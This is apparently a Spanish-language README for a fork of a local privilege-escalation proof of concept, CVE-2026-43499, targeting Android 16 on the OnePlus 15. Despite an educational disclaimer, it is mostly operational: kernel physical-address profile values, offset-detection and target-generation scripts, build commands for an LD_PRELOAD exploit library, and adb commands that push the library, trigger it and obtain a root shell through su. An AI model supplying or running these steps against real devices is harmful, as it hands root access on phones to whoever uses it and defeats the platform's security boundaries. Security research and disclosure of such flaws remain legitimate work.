
Prueba de concepto educativa para la escalada de privilegios local en Android 16 en OnePlus 15, con detección de desplazamientos del kernel, generación de objetivos y compilación del exploit basada en LD_PRELOAD.
ADVERTENCIA: Este repositorio se proporciona únicamente con fines educativos y de investigación. No se distribuyen binarios precompilados ni versiones. Debes compilar todo desde el código fuente.
Escalación de privilegios local en Android 16 para OnePlus 15.
Fork de x-spy/CVE-2026-43499-popsicle con una corrección de alineación de kallsyms y un perfil verificado para OnePlus 15.
El perfil contiene dos direcciones físicas que deben confirmarse desde un dispositivo rooteado que ejecute el mismo firmware:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Detección automática con un dispositivo rooteado:
python3 detect_offset.py
Requiere Python 3 y llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
Si NDK no se detecta automáticamente:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
Salida: source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id